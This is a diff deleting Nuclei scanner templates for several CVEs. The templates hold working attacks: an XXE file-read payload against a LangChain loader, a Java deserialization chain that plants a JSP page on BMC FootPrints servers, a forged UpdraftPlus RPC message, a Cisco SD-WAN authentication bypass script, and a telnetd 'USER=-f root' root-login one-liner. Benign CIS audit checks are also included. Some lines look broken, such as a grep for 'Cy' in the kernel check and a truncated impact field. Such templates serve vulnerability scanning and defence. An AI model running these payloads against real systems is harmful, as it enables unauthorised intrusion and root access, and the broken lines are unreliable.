-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
-    cve-id: CVE-2025-6984
-    epss-score: 0.01661
-    epss-percentile: 0.74658
-    cwe-id: CWE-200
-  metadata:
-    verified: true
-  tags: cve,cve2025,langchain,xxe,intrusive,file-write
-
-self-contained: true
-
-code:
-  - engine:
-      - py
-      - python3
-
-    source: |
-      import tempfile
-      import os
-      from langchain_community.document_loaders import EverNoteLoader
-
-      if __name__ == "__main__":
-
-          xxe_payload = '''<?xml version="1.0" ?>
-      <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
-      <note>
-          <content>&example;</content>
-      </note>'''
-
-          # Write payload to temporary file
-          with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
-              f.write(xxe_payload)
-              temp_file = f.name
-
-          try:
-              loader = EverNoteLoader(temp_file)
-              print(loader.load())
-          finally:
-              os.unlink(temp_file)
-
-    matchers:
-      - type: word
-        part: response
-        words:
-          - "root:"
-          - "bin:"
-          - "daemon:"
-        condition: or
-# digest: 4a0a00473045022005ccc0c20091fc750dd8e5a27b172b9d9ce3a04a8a0dc78ad9775ea4ed691ce3022100c1bd0e60d6264fb8750ab2b1100a62531f3526bb1ed0684a9a3e5ab2508ce5ea:922c64590222798bb761d5b6d8e72950
@@ -1,115 +0,0 @@
-id: CVE-2025-71260
-
-info:
-  name: BMC FootPrints - Deserialization of Untrusted Data (RCE)
-  author: watchTowr,DhiyaneshDk
-  severity: critical
-  description: |
-    BMC FootPrints Asset Core is vulnerable to pre-authentication remote code execution via Java deserialization in the aspnetconfig endpoint.
-  impact: |
-    Authenticated attackers can execute arbitrary code remotely, fully compromising the application.
-  remediation: Upgrade BMC FootPrints to the latest patched version.
-  reference:
-    - https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/
-    - https://github.com/watchtowrlabs/watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260/blob/main/watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260.py
-    - https://nvd.nist.gov/vuln/detail/CVE-2025-71260
-  metadata:
-    verified: true
-    max-request: 4
-    shodan-query: html:"/footprints/servicedesk/"
-  tags: cve,cve2025,servicedesk,bmc-software,rce,intrusive,file-upload
-
-flow: http(1) && code(1) && http(2) && http(3)
-
-http:
-  - raw:
-      - |
-        GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'contains(header, "SEC_TOKEN=")'
-        internal: true
-
-  - raw:
-      - |
-        GET /footprints/servicedesk/aspnetconfig?__VIEWSTATE={{filename}} HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-        Content-Length: {{len(payload)}}
-
-        __VIEWSTATE={{payload}}
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'status_code == 500'
-        internal: true
-
-  - raw:
-      - |
-        GET /{{filename}}.jsp HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - "System Information"
-          - "OS User:"
-          - "Current Working Directory:"
-        condition: and
-
-      - type: status
-        status:
-          - 200
-
-    extractors:
-      - type: regex
-        name: os_user
-        part: body
-        regex:
-          - 'OS User:</strong>\s*([^<]+)'
-        group: 1
-
-code:
-  - engine:
-      - py
-      - python3
-
-    source: |
-      import random
-      import string
-      import base64
-      from urllib.parse import quote
-
-      original_b64 = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAGndlYmFwcHMvUk9PVC93YXRjaFRvd3IuanNwc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHEAfgADeHB1cgACW0Ks8xf4BghU4AIAAHhwAAABvjwlQCBwYWdlIGxhbmd1YWdlPSJqYXZhIiBjb250ZW50VHlwZT0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiBwYWdlRW5jb2Rpbmc9IlVURi04IiU+CjwlCiAgICBTdHJpbmcgb3NVc2VyID0gU3lzdGVtLmdldFByb3BlcnR5KCJ1c2VyLm5hbWUiKTsKICAgIFN0cmluZyBjd2QgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoInVzZXIuZGlyIik7CiU+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+d2F0Y2hUb3dyIFN5c3RlbSBJbmZvPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxoMT5TeXN0ZW0gSW5mb3JtYXRpb248L2gxPgogICAgPHA+PHN0cm9uZz5PUyBVc2VyOjwvc3Ryb25nPiA8JT0gb3NVc2VyICU+PC9wPgogICAgPHA+PHN0cm9uZz5DdXJyZW50IFdvcmtpbmcgRGlyZWN0b3J5Ojwvc3Ryb25nPiA8JT0gY3dkICU+PC9wPgo8L2JvZHk+CjwvaHRtbD4Kc3IAPm9yZy5hc3BlY3RqLndlYXZlci50b29scy5jYWNoZS5TaW1wbGVDYWNoZSRTdG9yZWFibGVDYWNoaW5nTWFwO6sCH0tqVloCAANKAApsYXN0U3RvcmVkSQAMc3RvcmluZ1RpbWVyTAAGZm9sZGVydAASTGphdmEvbGFuZy9TdHJpbmc7eHIAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4AAABmQ2q4P0AAAAMdAABLnh4"
-
-      target = b"watchTowr"
-      random_name = ''.join(random.choices(string.ascii_letters + string.digits, k=9))
-
-      decoded = base64.b64decode(original_b64)
-      modified = decoded.replace(target, random_name.encode())
-      encoded = base64.b64encode(modified).decode()
-      payload = quote(encoded, safe='')
-
-      print(f"{random_name}|{payload}")
-
-    extractors:
-      - type: regex
-        name: filename
-        internal: true
-        regex:
-          - '^([^|]+)'
-        group: 1
-
-      - type: regex
-        name: payload
-        internal: true
-        regex:
-          - '\|(.+)$'
-        group: 1
-# digest: 4a0a00473045022100b2877e84e37d0dc5c41842be512b9309b95d850ad6474ae80a32462e6b81cfc60220533db7a89ed2ce39c410359b308c5bd8cac3d59d485712154572c64c2c94b5a9:41987585204b393149694b2205534b1a
@@ -18,9 +18,9 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2025-9242
    cwe-id: CWE-787,CWE-362
-    epss-score: 0.91255
-    epss-percentile: 0.99802
-    cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*:*
+    epss-score: 0.7437
+    epss-percentile: 0.98776
+    cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*
  metadata:
    verified: true
    shodan-query: html:"Watchguard" html:"Authentication Server"
@@ -552,4 +552,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 490a0046304402205cf073a7880794e6126c566e75ee1b00ef721ed2488062f22ebcb67dd1933fed02203daaaad71f0189318af944d698d0bc6ce800dca4af5cd53544e86984dbe71abb:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200b20b5e843543b5c93b206a8371f1e4ba414338ffba73b9802ce6f607c792a1c022011bdd0baafcaafea5825557eb2878d8301fd5618033a17af7f28316310629452:922c64590222798bb761d5b6d8e72950
@@ -1,88 +0,0 @@
-id: CVE-2026-10795
-
-info:
-  name: UpdraftPlus WP Backup & Migration Plugin - Authentication Bypass
-  author: theamanrawat,s4e-io
-  severity: high
-  description: |
-    UpdraftPlus WP Backup & Migration Plugin for WordPress <= 1.26.4 contains an authentication bypass caused by insufficient validation in UpdraftPlus_Remote_Communications_V2::wp_loaded, letting unauthenticated attackers execute arbitrary RPC commands as admin, exploit requires no authentication.
-  impact: |
-    Unauthenticated attackers can execute arbitrary commands as admin, leading to remote code execution and full site compromise.
-  remediation: |
-    Update to the latest version of UpdraftPlus WP Backup & Migration Plugin.
-  reference:
-    - https://patchstack.com/database/vulnerability/wordpress-updraftplus-wp-backup-migration-plugin-1-26-4-unauthenticated-authentication-bypass-via-updraftcentral-udrpc-vulnerability
-    - https://teamupdraft.com/blog/important-security-update-for-updraftplus-and-updraftcentral-users/
-    - https://nvd.nist.gov/vuln/detail/CVE-2026-10795
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 8.1
-    cve-id: CVE-2026-10795
-    epss-score: 0.03578
-    epss-percentile: 0.88399
-    cwe-id: CWE-347
-  metadata:
-    max-request: 2
-    verified: true
-    shodan-query: http.html:"updraftplus"
-    fofa-query: body="/wp-content/plugins/updraftplus"
-  tags: cve,cve2026,wordpress,wp-plugin,updraftplus,auth-bypass,vkev
-
-code:
-  - engine:
-      - sh
-
-    source: |
-      #!/bin/sh
-      KEY_NAME="0.central.updraftplus.com"
-      TIMESTAMP=$(date +%s)
-      RAND=424243
-      JSON="{\"command\":\"users.get_users\",\"time\":${TIMESTAMP},\"key_name\":\"${KEY_NAME}\",\"rand\":${RAND},\"data\":{\"paged\":1,\"per_page\":50}}"
-      CT_B64=$(printf '%s' "$JSON" | openssl enc -aes-128-cbc -K 00000000000000000000000000000000 -iv 00000000000000000000000000000000 -base64 -A)
-      RSA_B64=$(dd if=/dev/zero bs=256 count=1 2>/dev/null | base64 | tr -d '\n')
-      RSA_LEN=$(printf '%03x' ${#RSA_B64})
-      CT_LEN=$(printf '%016x' ${#CT_B64})
-      UDRPC_MSG="${RSA_LEN}${RSA_B64}${CT_LEN}${CT_B64}"
-      ENCODED_MSG=$(printf '%s' "$UDRPC_MSG" | sed 's/+/%2B/g; s/\//%2F/g; s/=/%3D/g')
-      printf 'format=1&key_name=%s&udrpc_message=%s' "$KEY_NAME" "$ENCODED_MSG"
-
-http:
-  - raw:
-      - |
-        GET /wp-content/plugins/updraftplus/readme.txt HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'status_code == 200'
-          - 'contains(body, "UpdraftPlus")'
-          - 'compare_versions(version, "<= 1.26.4")'
-        condition: and
-        internal: true
-
-    extractors:
-      - type: regex
-        name: version
-        part: body
-        group: 1
-        regex:
-          - "(?i)Stable tag:\\s*([\\d.]+)"
-        internal: true
-
-  - raw:
-      - |
-        POST / HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        {{code_response}}
-
-    matchers-condition: and
-    matchers:
-      - type: dsl
-        dsl:
-          - 'status_code == 200'
-          - 'contains(body, "\"udrpc_message\":\"")'
-        condition: and
-# digest: 4b0a00483046022100bd301fd7808ae0c902d3e4454ce92bb3bdec8686ac18b401f87d6f23d05e1e0a02210085a4e1b42a4212e4b0a49398193b213b4b9fce8c3abb420693b5b269a5516c8c:922c64590222798bb761d5b6d8e72950
@@ -1,275 +0,0 @@
-id: CVE-2026-20182
-
-info:
-  name: Cisco Catalyst SD-WAN Controller - vHub Authentication Bypass
-  author: sfewer-r7,Crypto-Cat,pussycat0x,DhiyaneshDk
-  severity: critical
-  description: |
-    Cisco Catalyst SD-WAN Controller and Manager contain an authentication bypass caused by improper peering authentication mechanism, letting unauthenticated remote attackers obtain administrative privileges, exploit requires sending crafted requests.
-  remediation: |
-    Update to the latest fixed version as per Cisco advisory.
-  impact: |
-    Unauthenticated attackers can gain administrative access and manipulate network configurations, risking full control of the SD-WAN fabric.
-  reference:
-    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW
-    - https://blog.talosintelligence.com/sd-wan-ongoing-exploitation/
-    - https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/
-    - https://nvd.nist.gov/vuln/detail/CVE-2026-20182
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
-    cvss-score: 10.0
-    cve-id: CVE-2026-20182
-    epss-score: 0.91522
-    epss-percentile: 0.99806
-    cwe-id: CWE-287
-    cpe: cpe:2.3:a:cisco:catalyst_sd-wan_controller:*:*:*:*:*:*:*:*
-  metadata:
-    verified: true
-    max-request: 1
-    vendor: cisco
-    product: catalyst_sd-wan_controller
-    shodan-query: port:12346 product:"Cisco SD-WAN"
-    fofa-query: port="12346" && product="Cisco SD-WAN"
-  tags: cve,cve2026,cisco,sdwan,auth-bypass,network,critical,kev,vuln,vkev
-
-variables:
-  HOST: "{{Host}}"
-  PORT: "{{Port}}"
-
-code:
-  - engine:
-      - py
-      - python3
-
-    source: |
-      import os
-      import struct
-      import socket
-      import subprocess
-      import time
-      import select
-      import secrets
-      import tempfile
-      import shutil
-
-      MSG_HELLO         = 0x05
-      MSG_CHALLENGE     = 0x08
-      MSG_CHALLENGE_ACK = 0x09
-      MSG_TEAR_DOWN     = 0x0B
-
-      DEV_VHUB  = 2
-      HDR_FLAGS = 0xA0
-      DOMAIN_ID = 1
-      SITE_ID   = 100
-
-      MSG_NAMES = {
-          0x05: "Hello",
-          0x08: "CHALLENGE",
-          0x09: "CHALLENGE_ACK",
-          0x0B: "TEAR_DOWN",
-          0x0D: "REGISTER_TO_VMANAGE",
-          0x0E: "VMANAGE_TO_PEER",
-      }
-
-      def build_header(msg_type):
-          byte0 = msg_type & 0x0F
-          byte1 = (DEV_VHUB & 0x0F) << 4
-          return struct.pack(">BBBBII", byte0, byte1, HDR_FLAGS, 0x00,
-                             DOMAIN_ID, SITE_ID)
-
-      def hdr_msg_type(data):
-          return data[0] & 0x0F if data else None
-
-      def build_tlv(tlv_type, value):
-          if isinstance(value, str):
-              value = value.encode()
-          return struct.pack(">HH", tlv_type, len(value)) + value
-
-      def build_challenge_ack_body():
-          uuid_str   = secrets.token_hex(16)
-          server_key = secrets.token_hex(16)
-
-          tlvs  = build_tlv(0x0013, struct.pack(">H", 0))
-          tlvs += build_tlv(0x0014, struct.pack(">H", 1))
-          tlvs += build_tlv(0x0018, struct.pack(">B", 1))
-          tlvs += build_tlv(0x0019, struct.pack(">B", 0))
-          tlvs += build_tlv(0x0006, uuid_str)
-          tlvs += build_tlv(0x0032, server_key)
-
-          body  = struct.pack(">BB", 0, 0)
-          body += struct.pack(">B", 6)
-          body += tlvs
-          return body
-
-      def build_hello_body(port):
-          body  = struct.pack(">BBBB", 0x00, 0x00, 0x00, 0x00)
-          body += struct.pack(">H", 2)
-          body += socket.inet_aton("127.0.0.1")
-          body += struct.pack(">H", port)
-          body += struct.pack(">I", 1)
-          body += b"\x00" * 20
-          body += struct.pack(">II", 10000, 60000)
-          body += struct.pack(">B", 2)
-          body += build_tlv(0x0021, struct.pack(">B", 0))
-          body += build_tlv(0x0022, struct.pack(">B", 0))
-          return body
-
-      def generate_self_signed_cert():
-          tmpdir = tempfile.mkdtemp(prefix="nuclei_sdwan_")
-          cert_path = os.path.join(tmpdir, "cert.pem")
-          key_path  = os.path.join(tmpdir, "key.pem")
-
-          result = subprocess.run(
-              [
-                  "openssl", "req", "-x509", "-newkey", "rsa:2048",
-                  "-keyout", key_path,
-                  "-out",    cert_path,
-                  "-days",   "1",
-                  "-nodes",
-                  "-subj",   "/CN=nuclei/O=nuclei/C=US",
-                  "-quiet",
-              ],
-              capture_output=True,
-              timeout=15,
-          )
-          if result.returncode != 0:
-              return None, None, tmpdir
-          return cert_path, key_path, tmpdir
-
-      def dtls_connect(host, port, cert_path, key_path):
-          cmd = [
-              "openssl", "s_client",
-              "-dtls1_2",
-              "-connect", f"{host}:{port}",
-              "-cert",    cert_path,
-              "-key",     key_path,
-              "-no_ign_eof",
-              "-quiet",
-          ]
-          return subprocess.Popen(
-              cmd,
-              stdin=subprocess.PIPE,
-              stdout=subprocess.PIPE,
-              stderr=subprocess.PIPE,
-          )
-
-      def wait_for_data(fd, timeout_sec):
-          ready, _, _ = select.select([fd], [], [], timeout_sec)
-          if not ready:
-              return None
-          try:
-              data = os.read(fd.fileno(), 65536)
-              return data if data else None
-          except OSError:
-              return None
-
-      def send_message(proc, msg_type, body=b""):
-          message = build_header(msg_type) + body
-          try:
-              proc.stdin.write(message)
-              proc.stdin.flush()
-              return True
-          except (BrokenPipeError, OSError):
-              return False
-
-      def recv_message(proc, timeout_sec=10):
-          data = wait_for_data(proc.stdout, timeout_sec)
-          if not data or len(data) < 12:
-              return None, None
-          return data[:12], data[12:]
-
-      def check_vulnerability(host, port):
-          target = f"{host}:{port}"
-          print(f"[*] Testing target: {target}")
-
-          cert_path, key_path, tmpdir = generate_self_signed_cert()
-          if not cert_path:
-              print("[-] Certificate generation failed")
-              return False
-
-          proc = None
-          try:
-              proc = dtls_connect(host, port, cert_path, key_path)
-              time.sleep(3)
-
-              if proc.poll() is not None:
-                  print("[-] DTLS handshake failed")
-                  return False
-
-              hdr, _ = recv_message(proc, timeout_sec=12)
-              if hdr is None:
-                  print("[-] No CHALLENGE received")
-                  return False
-
-              msg_type = hdr_msg_type(hdr)
-              if msg_type != MSG_CHALLENGE:
-                  name = MSG_NAMES.get(msg_type, f"0x{msg_type:02X}")
-                  print(f"[-] Unexpected message type: {name}")
-                  return False
-
-              if not send_message(proc, MSG_CHALLENGE_ACK, build_challenge_ack_body()):
-                  print("[-] Failed to send CHALLENGE_ACK")
-                  return False
-
-              hdr, _ = recv_message(proc, timeout_sec=8)
-              if hdr is not None and hdr_msg_type(hdr) == MSG_TEAR_DOWN:
-                  print("[-] Server sent TEAR_DOWN — not vulnerable")
-                  return False
-
-              if not send_message(proc, MSG_HELLO, build_hello_body(port)):
-                  print(f"VULNERABLE: {target}")
-                  return True
-
-              hdr, _ = recv_message(proc, timeout_sec=8)
-              if hdr is not None:
-                  msg_type = hdr_msg_type(hdr)
-                  if msg_type == MSG_TEAR_DOWN:
-                      print("[-] Server sent TEAR_DOWN after Hello — not vulnerable")
-                      return False
-                  print(f"VULNERABLE: {target}")
-                  return True
-
-              print(f"VULNERABLE: {target}")
-              return True
-
-          except subprocess.TimeoutExpired:
-              print("[-] Operation timed out")
-              return False
-          except Exception as e:
-              print(f"[-] Error: {e}")
-              return False
-          finally:
-              if proc:
-                  try:
-                      proc.terminate()
-                      proc.wait(timeout=3)
-                  except Exception:
-                      try:
-                          proc.kill()
-                      except Exception:
-                          pass
-              shutil.rmtree(tmpdir, ignore_errors=True)
-
-      if __name__ == "__main__":
-          host = os.getenv("Host")
-          port = os.getenv("Port", "12346")
-
-          if not host:
-              print("Host environment variable not set")
-              exit(1)
-
-          try:
-              port = int(port)
-          except ValueError:
-              port = 12346
-
-          if check_vulnerability(host, port):
-              print("VULNERABLE: vHub CHALLENGE_ACK authentication bypass confirmed")
-          else:
-              print("Target appears to be patched or not Cisco SD-WAN vdaemon")
-
-    matchers:
-      - type: word
-        words:
-          - "VULNERABLE:"
-# digest: 4b0a00483046022100d68b539df827a26bfcfca035aaae9ff53f832a856282360732a1f3fce2612f48022100e11a7ba5a7345efd84c311f5d83b742ad6cafff789e104e009f9aacfe6523e93:922c64590222798bb761d5b6d8e72950
@@ -1,52 +0,0 @@
-id: CVE-2026-24061
-
-info:
-  name: GNU Inetutils telnetd - Authentication Bypass
-  author: pussycat0x
-  severity: critical
-  description: |
-    GNU Inetutils telnetd through 2.7 contains an authentication bypass caused by setting the USER environment variable to \"-f root\", letting remote attackers bypass authentication, exploit requires remote access to telnetd service.
-  remediation: |
-    Update to a version later than 2.7 or the latest available version.
-  impact: |
-    Remote attackers can bypass authentication, gaining unauthorized root access to the system.
-  reference:
-    - https://github.com/vulhub/vulhub/tree/master/inetutils/CVE-2026-24061
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2026-24061
-    cwe-id: CWE-88
-    epss-score: 0.97878
-    epss-percentile: 0.99904
-  metadata:
-    verified: true
-    max-request: 1
-    vendor: gnu
-    product: inetutils
-    shodan-query: port:23 telnet
-    fofa-query: port="23" && protocol="telnet"
-  tags: cve,cve2026,telnet,auth-bypass,rce,code,kev,vkev
-
-code:
-  - engine:
-      - sh
-      - bash
-
-    source: |
-      (sleep 2; echo "id"; sleep 2) | USER="-f root" telnet -a $Host $Port
-
-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: response
-        regex:
-          - 'uid=[0-9]+\([a-zA-Z0-9_-]+\)\s*gid=[0-9]+\([a-zA-Z0-9_-]+\)'
-
-      - type: word
-        part: response
-        words:
-          - "Last login"
-          - "Debian"
-        condition: and
-# digest: 4a0a00473045022100edf08c13cabe1d67e8eeeba81d531ff1c246d80059ed122313df3911bad6b9b30220361ad71a41aa2dafb65b0df47c47a6a61afe6eaf7eb7bdcfc78eba50998f8b25:922c64590222798bb761d5b6d8e72950
@@ -1,142 +0,0 @@
-id: CVE-2026-31431
-
-info:
-  name: Copy Fail - Linux Kernel Local Privilege Escalation via AF_ALG
-  author: ritikchaddha
-  severity: high
-  description: |
-    In the Linux kernel, the following vulnerability has been resolved: crypto: algif_aead - Revert to operating out-of-place This mostly reverts commit 72548b093ee3 except for the copying of the associated data. There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings. Get rid of all the complexity added for in-place operation and just copy the AD directly.
-  impact: |
-    A local attacker can escalate from any unprivileged user to root. The exploit:
-  remediation: |
-    Update the Linux kernel to a patched version. Upstream: 6.18.22+, 6.19.12+, 7.0+, LTS backports: 6.14.5+, 6.13.13+, 6.12.25+, 6.6.87+, 6.1.137+. If immediate patching is not possible, disable or blacklist the algif_aead kernel module
-  reference:
-    - https://discourse.ubuntu.com/t/fixes-available-for-cve-2026-31431-copy-fail-linux-kernel-local-privilege-escalation-vulnerability/81498
-    - https://cert.europa.eu/publications/security-advisories/2026-005
-    - https://xint.io/blog/copy-fail-linux-distributions
-    - https://nvd.nist.gov/vuln/detail/CVE-2026-31431
-  classification:
-    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 7.8
-    cve-id: CVE-2026-31431
-    epss-score: 0.99907
-    epss-percentile: 0.99967
-    cwe-id: CWE-787
-    cpe: cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
-  metadata:
-    verified: true
-    max-request: 3
-    vendor: linux
-    product: linux_kernel
-  tags: cve,cve2026,code,kernel,linux,privesc,local,lpe,kev,vkev,vuln
-
-self-contained: true
-
-flow: code(1) && code(2) && code(3)
-
-code:
-  - engine:
-      - sh
-      - bash
-    source: |
-      whoami
-
-    matchers:
-      - type: word
-        part: response
-        words:
-          - "root"
-        negative: true
-        internal: true
-
-  - engine:
-      - sh
-      - bash
-    source: |
-      uname -r
-
-    extractors:
-      - type: regex
-        name: kernel_version
-        part: response
-        regex:
-          - '^[0-9]+\.[0-9]+\.[0-9]+'
-        internal: true
-
-  - engine:
-      - sh
-      - bash
-    source: |
-      KVER=$(uname -r)
-      MAJOR=$(echo "$KVER" | cut -d. -f1)
-      MINOR=$(echo "$KVER" | cut -d. -f2)
-      PATCH=$(echo "$KVER" | cut -d. -f3 | cut -d- -f1)
-      VULNERABLE=0
-
-      # Check if algif_aead module is loaded or built-in (required attack surface)
-      AEAD_PRESENT=0
-      if lsmod 2>/dev/null | grep -q "algif_aead"; then
-        AEAD_PRESENT=1
-      elif [ -f /proc/modules ] && grep -q "algif_aead" /proc/modules 2>/dev/null; then
-        AEAD_PRESENT=1
-      elif [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko" ] || \
-           [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko.zst" ] || \
-           [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko.xz" ]; then
-        AEAD_PRESENT=1
-      elif [ -f "/boot/config-$KVER" ] && grep -q "Cy" "/boot/config-$KVER" 2>/dev/null; then
-        AEAD_PRESENT=1
-      elif [ -f /proc/config.gz ] && zcat /proc/config.gz 2>/dev/null | grep -q "Cy"; then
-        AEAD_PRESENT=1
-      fi
-
-      # Introduced in ~4.14 (commit 72548b093ee3). Patched upstream: 6.18.22, 6.19.12, 7.0+
-      # LTS backports: 6.14.5, 6.13.13, 6.12.25, 6.6.87, 6.1.137
-      if [ "$MAJOR" -eq 4 ] && [ "$MINOR" -ge 14 ]; then
-        VULNERABLE=1
-      elif [ "$MAJOR" -eq 5 ]; then
-        VULNERABLE=1
-      elif [ "$MAJOR" -eq 6 ]; then
-        if [ "$MINOR" -le 0 ]; then VULNERABLE=1
-        elif [ "$MINOR" -eq 1 ] && [ "$PATCH" -le 136 ]; then VULNERABLE=1
-        elif [ "$MINOR" -ge 2 ] && [ "$MINOR" -le 5 ]; then VULNERABLE=1
-        elif [ "$MINOR" -eq 6 ] && [ "$PATCH" -le 86 ]; then VULNERABLE=1
-        elif [ "$MINOR" -ge 7 ] && [ "$MINOR" -le 11 ]; then VULNERABLE=1
-        elif [ "$MINOR" -eq 12 ] && [ "$PATCH" -le 24 ]; then VULNERABLE=1
-        elif [ "$MINOR" -eq 13 ] && [ "$PATCH" -le 12 ]; then VULNERABLE=1
-        elif [ "$MINOR" -eq 14 ] && [ "$PATCH" -le 4 ]; then VULNERABLE=1
-        elif [ "$MINOR" -ge 15 ] && [ "$MINOR" -le 17 ]; then VULNERABLE=1
-        elif [ "$MINOR" -eq 18 ] && [ "$PATCH" -le 21 ]; then VULNERABLE=1
-        elif [ "$MINOR" -eq 19 ] && [ "$PATCH" -le 11 ]; then VULNERABLE=1
-        fi
-      fi
-
-      if [ "$VULNERABLE" -eq 1 ]; then
-        if [ "$AEAD_PRESENT" -eq 1 ]; then
-          echo "VULNERABLE: kernel $KVER - algif_aead module present, version in affected range"
-        else
-          echo "VULNERABLE: kernel $KVER - version in affected range (algif_aead module status unknown, may be loadable)"
-        fi
-      else
-        echo "NOT_VULNERABLE: kernel $KVER"
-      fi
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: response
-        words:
-          - "VULNERABLE:"
-
-      - type: word
-        part: response
-        words:
-          - "NOT_VULNERABLE"
-        negative: true
-
-    extractors:
-      - type: regex
-        name: detection_detail
-        part: response
-        regex:
-          - 'VULNERABLE:.*'
-# digest: 4b0a00483046022100e789288b7f0c863c2977044b1b6afedfbbf997e4b96dc2f2e19f0f2f0c5a0df3022100fc6f3769384cf48bff46e2fa58ef1cae78c5cce4f46ac64534fc6a368961dc61:922c64590222798bb761d5b6d8e72950
@@ -1,45 +0,0 @@
-id: apport-error-reporting-disabled-check
-
-info:
-  name: Ensure Automatic Error Reporting is Not Enabled
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether the Apport automatic error reporting service is enabled.
-  remediation: |
-    Disable Apport by editing `/etc/default/apport` and setting:
-      enabled=0
-
-    If Apport is not required, remove it:
-      sudo apt remove apport -y
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,apport,error-reporting,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        if dpkg-query -s apport &>/dev/null && grep -Psiq -- '^\h*enabled\h*=\h*[^0]\b' /etc/default/apport; then
-          echo "[apport-error-reporting-disabled-check:Policy-Fail] [Automatic Error Reporting is enabled] [CIS_FAIL] [medium]"
-        else
-          echo "[apport-error-reporting-disabled-check:Policy-Pass] [Automatic Error Reporting is disabled] [CIS_PASS] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 490a0046304402200d37587f3a27f271e96ffbea88879b3f065db850de39a41b3ec97fb0c538f07b0220445de576573745b10d3e4d01b186ef72a9b7270bd0685634c45ddc4348243424:922c64590222798bb761d5b6d8e72950
@@ -1,44 +0,0 @@
-id: gdm-automount-removable-media-disabled-check
-
-info:
-  name: Ensure GDM Automatic Mounting of Removable Media is Disabled
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether automatic mounting of removable media is disabled.
-  remediation: |
-    Disable automatic mounting and automatic opening of removable media in GDM.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,gdm,media,automount,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        automount=$(gsettings get org.gnome.desktop.media-handling automount 2>/dev/null)
-        automount_open=$(gsettings get org.gnome.desktop.media-handling automount-open 2>/dev/null)
-
-        if [ "$automount" = "false" ] && [ "$automount_open" = "false" ]; then
-          echo "[gdm-automount-removable-media-disabled-check:Policy-Pass] [Automatic mounting of removable media is disabled] [CIS_PASS] [medium]"
-        else
-          echo "[gdm-automount-removable-media-disabled-check:Policy-Fail] [Automatic mounting of removable media is enabled] [CIS_FAIL] [medium]"
